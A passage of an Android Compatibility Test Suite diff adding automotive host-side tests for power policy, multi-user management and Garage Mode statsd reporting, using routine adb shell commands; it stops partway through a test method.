diff --git a/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommand.java b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommand.java
new file mode 100644
index 0000000..82d01db
--- /dev/null
+++ b/hostsidetests/car/app/src/android/car/cts/app/PowerPolicyTestCommand.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.app;
+
+import android.car.Car;
+import android.car.hardware.power.CarPowerManager;
+import android.car.hardware.power.CarPowerPolicy;
+import android.util.Log;
+
+import java.io.PrintWriter;
+
+public abstract class PowerPolicyTestCommand {
+    private static final String TAG = PowerPolicyTestCommand.class.getSimpleName();
+
+    private final String mTestcase;
+    private final TestCommandType mType;
+
+    protected String mPolicyId;
+    protected Car mCar;
+    protected CarPowerManager mCarPowerManager;
+    protected PrintWriter mPrintWriter;
+
+    PowerPolicyTestCommand(String tc, TestCommandType type) {
+        mTestcase = tc;
+        mType = type;
+    }
+
+    void setCar(Car c) {
+        mCar = c;
+        mCarPowerManager = (CarPowerManager) mCar.getCarManager(Car.POWER_SERVICE);
+    }
+
+    String getTestcase() {
+        return mTestcase;
+    }
+
+    Car getCar() {
+        return mCar;
+    }
+
+    TestCommandType getType() {
+        return mType;
+    }
+
+    PrintWriter getPrintWriter() {
+        return mPrintWriter;
+    }
+
+    void setPrintWriter(PrintWriter fw) {
+        mPrintWriter = fw;
+    }
+
+    abstract void execute(PowerPolicyTestClient testClient);
+
+    enum TestCommandType {
+      START,
+      END,
+      DUMP_STATE,
+      DUMP_POLICY,
+      APPLY_POLICY,
+      CLOSE_DATAFILE
+    }
+
+    static final class StartTestcaseCommand extends PowerPolicyTestCommand {
+        StartTestcaseCommand(String tc) {
+            super(tc, TestCommandType.START);
+        }
+
+        void execute(PowerPolicyTestClient testClient) {
+            testClient.registerAndGo();
+        }
+    }
+
+    static final class EndTestcaseCommand extends PowerPolicyTestCommand {
+        EndTestcaseCommand(String tc) {
+            super(tc, TestCommandType.END);
+        }
+
+        @Override
+        void execute(PowerPolicyTestClient testClient) {
+            mPrintWriter.flush();
+            testClient.cleanup();
+        }
+    }
+
+    static final class DumpStateCommand extends PowerPolicyTestCommand {
+        DumpStateCommand(String tc) {
+            super(tc, TestCommandType.DUMP_STATE);
+        }
+
+        @Override
+        void execute(PowerPolicyTestClient testClient) {
+            int curState = mCarPowerManager.getPowerState();
+            mPrintWriter.printf("%s: Current Power State: %s\n", getTestcase(), curState);
+            Log.d(TAG, "Current Power State: " + curState);
+        }
+    }
+
+    static final class DumpPolicyCommand extends PowerPolicyTestCommand {
+        DumpPolicyCommand(String tc) {
+            super(tc, TestCommandType.DUMP_POLICY);
+        }
+
+        @Override
+        void execute(PowerPolicyTestClient testClient) {
+            CarPowerPolicy cpp = mCarPowerManager.getCurrentPowerPolicy();
+            if (cpp == null) {
+                Log.d(TAG, "null current power policy");
+                return;
+            }
+            String policyId = cpp.getPolicyId();
+            int[] enabledComponents = cpp.getEnabledComponents();
+            int[] disabledComponents = cpp.getDisabledComponents();
+
+            mPrintWriter.printf("%s: Current Power Policy: id=%s", getTestcase(), policyId);
+            mPrintWriter.printf(", enabledComponents=[");
+            for (int enabled : enabledComponents) {
+                mPrintWriter.printf("%d ", enabled);
+            }
+            mPrintWriter.printf("], disabledComponents=[");
+            for (int disabled : disabledComponents) {
+                mPrintWriter.printf("%d ", disabled);
+            }
+            mPrintWriter.println("]");
+            Log.d(TAG, "Dumped Policy Id: " + policyId);
+        }
+    }
+
+    static final class ApplyPolicyCommand extends PowerPolicyTestCommand {
+        ApplyPolicyCommand(String tc) {
+            super(tc, TestCommandType.APPLY_POLICY);
+        }
+
+        @Override
+        void execute(PowerPolicyTestClient testClient) {
+            if (mPolicyId == null) {
+                Log.w(TAG, "missing policy id for applying policy");
+                return;
+            }
+
+            mCarPowerManager.applyPowerPolicy(mPolicyId);
+            mPrintWriter.printf("%s : Apply Power Policy:%s\n", getTestcase(), mPolicyId);
+            Log.d(TAG, "apply policy with Id: " + mPolicyId);
+        }
+    }
+
+    static final class CloseDataFileCommand extends PowerPolicyTestCommand {
+        CloseDataFileCommand(String tc) {
+            super(tc, TestCommandType.CLOSE_DATAFILE);
+        }
+
+        @Override
+        void execute(PowerPolicyTestClient testClient) {
+            mPrintWriter.close();
+            Log.d(TAG, "close the data file");
+        }
+    }
+}
+
diff --git a/hostsidetests/car/app/src/android/car/cts/app/SimpleActivity.java b/hostsidetests/car/app/src/android/car/cts/app/SimpleActivity.java
new file mode 100644
index 0000000..ce70a7c
--- /dev/null
+++ b/hostsidetests/car/app/src/android/car/cts/app/SimpleActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Very simple activity.
+ */
+public final class SimpleActivity extends Activity {
+
+    private static final String TAG = SimpleActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        Log.i(TAG, "onCreate()");
+        super.onCreate(savedInstanceState);
+    };
+}
diff --git a/hostsidetests/car/src/android/car/cts/CarHostJUnit4TestCase.java b/hostsidetests/car/src/android/car/cts/CarHostJUnit4TestCase.java
new file mode 100644
index 0000000..ff61403
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/CarHostJUnit4TestCase.java
@@ -0,0 +1,516 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.service.pm.PackageProto;
+import android.service.pm.PackageProto.UserPermissionsProto;
+import android.service.pm.PackageServiceDumpProto;
+
+import com.android.compatibility.common.util.CommonTestUtils;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.ITestInformationReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.AssumptionViolatedException;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.function.Function;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Base class for all test cases.
+ */
+// NOTE: must be public because of @Rules
+public abstract class CarHostJUnit4TestCase extends BaseHostJUnit4Test {
+
+    private static final int DEFAULT_TIMEOUT_SEC = 20;
+
+    private static final Pattern CREATE_USER_OUTPUT_PATTERN = Pattern.compile("id=(\\d+)");
+
+    /**
+     * User pattern in the output of "cmd user list --all -v"
+     * TEXT id=<id> TEXT name=<name>, TEX flags=<flags> TEXT
+     * group 1: id group 2: name group 3: flags group 4: other state(like "(running)")
+     */
+    private static final Pattern USER_PATTERN = Pattern.compile(
+            ".*id=(\\d+).*name=([^\\s,]+).*flags=(\\S+)(.*)");
+
+    private static final int USER_PATTERN_GROUP_ID = 1;
+    private static final int USER_PATTERN_GROUP_NAME = 2;
+    private static final int USER_PATTERN_GROUP_FLAGS = 3;
+    private static final int USER_PATTERN_GROUP_OTHER_STATE = 4;
+
+    /**
+     * User's package permission pattern string format in the output of "dumpsys package PKG_NAME"
+    */
+    protected static final String APP_APK = "CtsCarApp.apk";
+    protected static final String APP_PKG = "android.car.cts.app";
+
+    @Rule
+    public final RequiredFeatureRule mHasAutomotiveRule = new RequiredFeatureRule(this,
+            "android.hardware.type.automotive");
+
+    private final HashSet<Integer> mUsersToBeRemoved = new HashSet<>();
+
+    private int mInitialUserId;
+    private Integer mInitialMaximumNumberOfUsers;
+
+    /**
+     * Saves multi-user state so it can be restored after the test.
+     */
+    @Before
+    public void saveUserState() throws Exception {
+        mInitialUserId = getCurrentUserId();
+    }
+
+    /**
+     * Restores multi-user state from before the test.
+     */
+    @After
+    public void restoreUsersState() throws Exception {
+        int currentUserId = getCurrentUserId();
+        CLog.d("restoreUsersState(): initial user: %d, current user: %d, created users: %s "
+                + "max number of users: %d",
+                mInitialUserId, currentUserId, mUsersToBeRemoved, mInitialMaximumNumberOfUsers);
+        if (currentUserId != mInitialUserId) {
+            CLog.i("Switching back from %d to %d", currentUserId, mInitialUserId);
+            switchUser(mInitialUserId);
+        }
+
+        if (!mUsersToBeRemoved.isEmpty()) {
+            CLog.i("Removing users %s", mUsersToBeRemoved);
+            for (int userId : mUsersToBeRemoved) {
+                removeUser(userId);
+            }
+        }
+
+        if (mInitialMaximumNumberOfUsers != null) {
+            CLog.i("Restoring max number of users to %d", mInitialMaximumNumberOfUsers);
+            setMaxNumberUsers(mInitialMaximumNumberOfUsers);
+        }
+    }
+
+    /**
+     * Makes sure the device supports multiple users, throwing {@link AssumptionViolatedException}
+     * if it doesn't.
+     */
+    protected void assumeSupportsMultipleUsers() throws Exception {
+        assumeTrue("device does not support multi-user",
+                getDevice().getMaxNumberOfUsersSupported() > 1);
+    }
+
+    /**
+     * Makes sure the device can add {@code numberOfUsers} new users, increasing limit if needed or
+     * failing if not possible.
+     */
+    protected void requiresExtraUsers(int numberOfUsers) throws Exception {
+        assumeSupportsMultipleUsers();
+
+        int maxNumber = getDevice().getMaxNumberOfUsersSupported();
+        int currentNumber = getDevice().listUsers().size();
+
+        if (currentNumber + numberOfUsers <= maxNumber) return;
+
+        if (!getDevice().isAdbRoot()) {
+            failCannotCreateUsers(numberOfUsers, currentNumber, maxNumber, /* isAdbRoot= */ false);
+        }
+
+        // Increase limit...
+        mInitialMaximumNumberOfUsers = maxNumber;
+        setMaxNumberUsers(maxNumber + numberOfUsers);
+
+        // ...and try again
+        maxNumber = getDevice().getMaxNumberOfUsersSupported();
+        if (currentNumber + numberOfUsers > maxNumber) {
+            failCannotCreateUsers(numberOfUsers, currentNumber, maxNumber, /* isAdbRoot= */ true);
+        }
+    }
+
+    private void failCannotCreateUsers(int numberOfUsers, int currentNumber, int maxNumber,
+            boolean isAdbRoot) {
+        String reason = isAdbRoot ? "failed to increase it"
+                : "cannot be increased without adb root";
+        String existingUsers = "";
+        try {
+            existingUsers = "Existing users: " + executeCommand("cmd user list --all -v");
+        } catch (Exception e) {
+            // ignore
+        }
+        fail("Cannot create " + numberOfUsers + " users: current number is " + currentNumber
+                + ", limit is " + maxNumber + " and could not be increased (" + reason + "). "
+                + existingUsers);
+    }
+
+    /**
+     * Executes the shell command and returns the output.
+     */
+    protected String executeCommand(String command, Object... args) throws Exception {
+        String fullCommand = String.format(command, args);
+        return getDevice().executeShellCommand(fullCommand);
+    }
+
+    /**
+     * Executes the shell command and parses output with {@code resultParser}.
+     */
+    protected <T> T executeAndParseCommand(Function<String, T> resultParser,
+            String command, Object... args) throws Exception {
+        String output = executeCommand(command, args);
+        return resultParser.apply(output);
+    }
+
+    /**
+     * Executes the shell command and parses the Matcher output with {@code resultParser}, failing
+     * with {@code matchNotFoundErrorMessage} if it didn't match the {@code regex}.
+     */
+    protected <T> T executeAndParseCommand(Pattern regex, String matchNotFoundErrorMessage,
+            Function<Matcher, T> resultParser,
+            String command, Object... args) throws Exception {
+        String output = executeCommand(command, args);
+        Matcher matcher = regex.matcher(output);
+        if (!matcher.find()) {
+            fail(matchNotFoundErrorMessage);
+        }
+        return resultParser.apply(matcher);
+    }
+
+    /**
+     * Executes the shell command and parses the Matcher output with {@code resultParser}.
+     */
+    protected <T> T executeAndParseCommand(Pattern regex, Function<Matcher, T> resultParser,
+            String command, Object... args) throws Exception {
+        String output = executeCommand(command, args);
+        return resultParser.apply(regex.matcher(output));
+    }
+
+    /**
+     * Executes the shell command that returns all users and returns {@code function} applied to
+     * them.
+     */
+    public <T> T onAllUsers(Function<List<UserInfo>, T> function) throws Exception {
+        ArrayList<UserInfo> allUsers = executeAndParseCommand(USER_PATTERN, (matcher) -> {
+            ArrayList<UserInfo> users = new ArrayList<>();
+            while (matcher.find()) {
+                users.add(new UserInfo(matcher));
+            }
+            return users;
+        }, "cmd user list --all -v");
+        return function.apply(allUsers);
+    }
+
+    /**
+     * Gets the info for the given user.
+     */
+    public UserInfo getUserInfo(int userId) throws Exception {
+        return onAllUsers((allUsers) -> allUsers.stream()
+                .filter((u) -> u.id == userId))
+                        .findFirst().get();
+    }
+
+    /**
+     * Sets the maximum number of users that can be created for this car.
+     *
+     * @throws IllegalStateException if adb is not running as root
+     */
+    protected void setMaxNumberUsers(int numUsers) throws Exception {
+        if (!getDevice().isAdbRoot()) {
+            throw new IllegalStateException("must be running adb root");
+        }
+        executeCommand("setprop fw.max_users %d", numUsers);
+    }
+
+    /**
+     * Gets the current user's id.
+     */
+    protected int getCurrentUserId() throws DeviceNotAvailableException {
+        return getDevice().getCurrentUser();
+    }
+
+    /**
+     * Creates a full user with car service shell command.
+     */
+    protected int createFullUser(String name) throws Exception {
+        return createUser(name, /* flags= */ 0, "android.os.usertype.full.SECONDARY");
+    }
+
+    /**
+     * Creates a full guest with car service shell command.
+     */
+    protected int createGuestUser(String name) throws Exception {
+        return createUser(name, /* flags= */ 0, "android.os.usertype.full.GUEST");
+    }
+
+    /**
+     * Creates a flexible user with car service shell command.
+     *
+     * <p><b>NOTE: </b>it uses User HAL flags, not core Android's.
+     */
+    protected int createUser(String name, int flags, String type) throws Exception {
+        waitForCarServiceReady();
+        int userId = executeAndParseCommand(CREATE_USER_OUTPUT_PATTERN,
+                "Could not create user with name " + name + ", flags " + flags + ", type" + type,
+                matcher -> Integer.parseInt(matcher.group(1)),
+                "cmd car_service create-user --flags %d --type %s %s",
+                flags, type, name);
+        markUserForRemovalAfterTest(userId);
+        return userId;
+    }
+
+    /**
+     * Marks a user to be removed at the end of the tests.
+     */
+    protected void markUserForRemovalAfterTest(int userId) {
+        mUsersToBeRemoved.add(userId);
+    }
+
+    /**
+     * Waits until the given user is initialized.
+     */
+    protected void waitForUserInitialized(int userId) throws Exception {
+        CommonTestUtils.waitUntil("timed out waiting for user " + userId + " initialization",
+                DEFAULT_TIMEOUT_SEC, () -> isUserInitialized(userId));
+    }
+
+    /**
+     * Waits until the system server is ready.
+     */
+    protected void waitForCarServiceReady() throws Exception {
+        CommonTestUtils.waitUntil("timed out waiting for system server ",
+                DEFAULT_TIMEOUT_SEC, () -> isCarServiceReady());
+    }
+
+    protected boolean isCarServiceReady() {
+        String cmd = "service check car_service";
+        try {
+            String output = getDevice().executeShellCommand(cmd);
+            return !output.endsWith("not found");
+        } catch (Exception e) {
+            CLog.i("%s failed: %s", cmd, e.getMessage());
+        }
+        return false;
+    }
+
+    /**
+     * Asserts that the given user is initialized.
+     */
+    protected void assertUserInitialized(int userId) throws Exception {
+        assertWithMessage("User %s not initialized", userId).that(isUserInitialized(userId))
+                .isTrue();
+        CLog.v("User %d is initialized", userId);
+    }
+
+    /**
+     * Checks if the given user is initialized.
+     */
+    protected boolean isUserInitialized(int userId) throws Exception {
+        UserInfo userInfo = getUserInfo(userId);
+        CLog.v("isUserInitialized(%d): %s", userId, userInfo);
+        return userInfo.flags.contains("INITIALIZED");
+    }
+
+    /**
+     * Switches the current user.
+     */
+    protected void switchUser(int userId) throws Exception {
+        waitForCarServiceReady();
+        String output = executeCommand("cmd car_service switch-user %d", userId);
+        if (!output.contains("STATUS_SUCCESSFUL")) {
+            throw new IllegalStateException("Failed to switch to user " + userId + ": " + output);
+        }
+        waitUntilCurrentUser(userId);
+    }
+
+    /**
+     * Waits until the given user is the current foreground user.
+     */
+    protected void waitUntilCurrentUser(int userId) throws Exception {
+        CommonTestUtils.waitUntil("timed out (" + DEFAULT_TIMEOUT_SEC
+                + "s) waiting for current user to be " + userId
+                + " (it is " + getCurrentUserId() + ")",
+                DEFAULT_TIMEOUT_SEC,
+                () -> (getCurrentUserId() == userId));
+    }
+
+    /**
+     * Removes a user by user ID and update the list of users to be removed.
+     */
+    protected void removeUser(int userId) throws Exception {
+        executeCommand("cmd car_service remove-user %d", userId);
+    }
+
+    /**
+     * Checks if an app is installed for a given user.
+     */
+    protected boolean isAppInstalledForUser(String packageName, int userId)
+            throws DeviceNotAvailableException {
+        return getDevice().isPackageInstalled(packageName, Integer.toString(userId));
+    }
+
+    /**
+     * Fails the test if the app is installed for the given user.
+     */
+    protected void assertAppInstalledForUser(String packageName, int userId)
+            throws DeviceNotAvailableException {
+        assertWithMessage("%s should BE installed for user %s", packageName, userId).that(
+                isAppInstalledForUser(packageName, userId)).isTrue();
+    }
+
+    /**
+     * Fails the test if the app is NOT installed for the given user.
+     */
+    protected void assertAppNotInstalledForUser(String packageName, int userId)
+            throws DeviceNotAvailableException {
+        assertWithMessage("%s should NOT be installed for user %s", packageName, userId).that(
+                isAppInstalledForUser(packageName, userId)).isFalse();
+    }
+
+    /**
+     * Restarts the system server process.
+     *
+     * <p>Useful for cases where the test case changes system properties, as
+     * {@link ITestDevice#reboot()} would reset them.
+     */
+    protected void restartSystemServer() throws Exception {
+        final ITestDevice device = getDevice();
+        device.executeShellCommand("stop");
+        device.executeShellCommand("start");
+        device.waitForDeviceAvailable();
+        waitForCarServiceReady();
+    }
+
+    /**
+     * Gets mapping of package and permissions granted for requested user id.
+     *
+     * @return Map<String, List<String>> where key is the package name and
+     * the value is list of permissions granted for this user.
+     */
+    protected Map<String, List<String>> getPackagesAndPermissionsForUser(int userId)
+            throws Exception {
+        CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice().executeShellCommand("dumpsys package --proto", receiver);
+
+        PackageServiceDumpProto dump = PackageServiceDumpProto.parser()
+                .parseFrom(receiver.getOutput());
+
+        CLog.v("Device has %d packages while getPackagesAndPermissions", dump.getPackagesCount());
+        Map<String, List<String>> pkgMap = new HashMap<>();
+        for (PackageProto pkg : dump.getPackagesList()) {
+            String pkgName = pkg.getName();
+            for (UserPermissionsProto userPermissions : pkg.getUserPermissionsList()) {
+                if (userPermissions.getId() == userId) {
+                    pkgMap.put(pkg.getName(), userPermissions.getGrantedPermissionsList());
+                    break;
+                }
+            }
+        }
+        return pkgMap;
+    }
+
+    /**
+     * Sleeps for the given amount of milliseconds.
+     */
+    protected void sleep(long ms) throws InterruptedException {
+        CLog.v("Sleeping for %dms", ms);
+        Thread.sleep(ms);
+        CLog.v("Woke up; Little Susie woke up!");
+    }
+
+    // TODO(b/169341308): move to common infra code
+    private static final class RequiredFeatureRule implements TestRule {
+
+        private final ITestInformationReceiver mReceiver;
+        private final String mFeature;
+
+        RequiredFeatureRule(ITestInformationReceiver receiver, String feature) {
+            mReceiver = receiver;
+            mFeature = feature;
+        }
+
+        @Override
+        public Statement apply(Statement base, Description description) {
+            return new Statement() {
+
+                @Override
+                public void evaluate() throws Throwable {
+                    boolean hasFeature = false;
+                    try {
+                        hasFeature = mReceiver.getTestInformation().getDevice()
+                                .hasFeature(mFeature);
+                    } catch (DeviceNotAvailableException e) {
+                        CLog.e("Could not check if device has feature %s: %e", mFeature, e);
+                        return;
+                    }
+
+                    if (!hasFeature) {
+                        CLog.d("skipping %s#%s"
+                                + " because device does not have feature '%s'",
+                                description.getClassName(), description.getMethodName(), mFeature);
+                        throw new AssumptionViolatedException("Device does not have feature '"
+                                + mFeature + "'");
+                    }
+                    base.evaluate();
+                }
+            };
+        }
+
+        @Override
+        public String toString() {
+            return "RequiredFeatureRule[" + mFeature + "]";
+        }
+    }
+
+    /**
+     * Represents a user as returned by {@code cmd user list -v}.
+     */
+    public static final class UserInfo {
+        public final int id;
+        public final String flags;
+        public final String name;
+        public final String otherState;
+
+        private UserInfo(Matcher matcher) {
+            id = Integer.parseInt(matcher.group(USER_PATTERN_GROUP_ID));
+            flags = matcher.group(USER_PATTERN_GROUP_FLAGS);
+            name = matcher.group(USER_PATTERN_GROUP_NAME);
+            otherState = matcher.group(USER_PATTERN_GROUP_OTHER_STATE);
+        }
+
+        @Override
+        public String toString() {
+            return "[UserInfo: id=" + id + ", flags=" + flags + ", name=" + name
+                    + ", otherState=" + otherState + "]";
+        }
+    }
+}
diff --git a/hostsidetests/car/src/android/car/cts/GarageModeAtomTests.java b/hostsidetests/car/src/android/car/cts/GarageModeAtomTests.java
new file mode 100644
index 0000000..cc8823a
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/GarageModeAtomTests.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+/**
+ * Verifies that Automotive's Garage Mode reports its status.
+ *
+ * <p> {@code statsd} atom tests are done via adb (hostside).
+ */
+public class GarageModeAtomTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String TAG = "Statsd.GarageModeAtomTests";
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+
+        // Give enough time to remove/clear reports in statsd because that happens
+        // asynchronously
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testGarageModeOnOff() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.GARAGE_MODE_INFO_FIELD_NUMBER);
+
+        // Garage mode ON
+        Set<Integer> garageModeOn = new HashSet<>(Arrays.asList(1));
+        // Garage mode OFF
+        Set<Integer> garageModeOff = new HashSet<>(Arrays.asList(0));
+        List<Set<Integer>> stateSet = Arrays.asList(garageModeOn, garageModeOff);
+
+        turnOnGarageMode();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        turnOffGarageMode();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getGarageModeInfo().getIsGarageMode() ?  1 : 0);
+
+    }
+
+    private void turnOnGarageMode() throws Exception {
+        getDevice().executeShellCommand("cmd car_service garage-mode on");
+    }
+
+    private void turnOffGarageMode() throws Exception {
+        getDevice().executeShellCommand("cmd car_service garage-mode off");
+    }
+}
diff --git a/hostsidetests/car/src/android/car/cts/OptionalFeatureHostTest.java b/hostsidetests/car/src/android/car/cts/OptionalFeatureHostTest.java
index 55425d4..1cf5d1e 100644
--- a/hostsidetests/car/src/android/car/cts/OptionalFeatureHostTest.java
+++ b/hostsidetests/car/src/android/car/cts/OptionalFeatureHostTest.java
@@ -20,12 +20,9 @@
 
 import static org.hamcrest.CoreMatchers.endsWith;
 import static org.junit.Assume.assumeThat;
-import static org.junit.Assume.assumeTrue;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
-import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -39,9 +36,7 @@
  * Check Optional Feature related car configs.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class OptionalFeatureHostTest extends BaseHostJUnit4Test {
-
-    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+public class OptionalFeatureHostTest extends CarHostJUnit4TestCase {
 
     private static final String[] MANDATORY_FEATURES = {
             "android.car.input",
@@ -50,12 +45,12 @@
             "cabin",
             "car_bluetooth",
             "car_bugreport",
+            "car_device_policy_service",
             "car_media",
             "car_navigation_service",
             "car_occupant_zone_service",
             "car_user_service",
             "car_watchdog",
-            "configuration",
             "drivingstate",
             "hvac",
             "info",
@@ -68,11 +63,6 @@
             "vendor_extension"
     };
 
-    @Before
-    public void setUp() throws Exception {
-        assumeTrue(hasDeviceFeature(FEATURE_AUTOMOTIVE));
-    }
-
     /**
      * Partners can use the same system image for multiple product configs with variation in
      * optional feature support. But CTS should run in a config where VHAL
diff --git a/hostsidetests/car/src/android/car/cts/PowerPolicyHostTest.java b/hostsidetests/car/src/android/car/cts/PowerPolicyHostTest.java
new file mode 100644
index 0000000..da4bf93
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/PowerPolicyHostTest.java
@@ -0,0 +1,281 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.car.cts.powerpolicy.PowerPolicyTestAnalyzer;
+import android.car.cts.powerpolicy.PowerPolicyTestResult;
+
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.util.RunUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class PowerPolicyHostTest extends CarHostJUnit4TestCase {
+    private static final String ANDROID_CLIENT_PKG = "android.car.cts.app";
+    private static final String ANDROID_CLIENT_ACTIVITY = ANDROID_CLIENT_PKG
+            + "/.PowerPolicyTestActivity";
+    private static final String SHELL_CMD_HEADER = "am start -n " + ANDROID_CLIENT_ACTIVITY;
+    private static final String TESTCASE_CMD_HEADER = SHELL_CMD_HEADER
+            + " --es \"powerpolicy\" \"TestCase%d,%s\"";
+    private static final String POWER_POLICY_TEST_RESULT_HEADER = "PowerPolicyTestClientResult";
+
+    private static final int MAX_TEST_CASES = 5;
+    private static final long LAUNCH_BUFFER_TIME_MS = 1_000L;
+
+    private final PowerPolicyTestAnalyzer mTestAnalyzer;
+
+    public PowerPolicyHostTest() {
+        mTestAnalyzer = new PowerPolicyTestAnalyzer(this);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        startAndroidClient();
+        makeSureAndroidClientRunning(ANDROID_CLIENT_PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        killAndroidClient(ANDROID_CLIENT_PKG);
+    }
+
+    @Test
+    public void testDefaultPowerPolicyStateMachine() throws Exception {
+        boolean status = true;
+        // create expected test result
+        PowerPolicyTestResult testResult = startTestCase(1);
+
+        // populate the expected test result here.
+        testResult.addCriteria("dumpstate", "6", null);
+
+        // clear the device to the ON state
+        rebootDevice();
+
+        // execute the test sequence
+        dumpPowerState(testResult.getTestcaseNo());
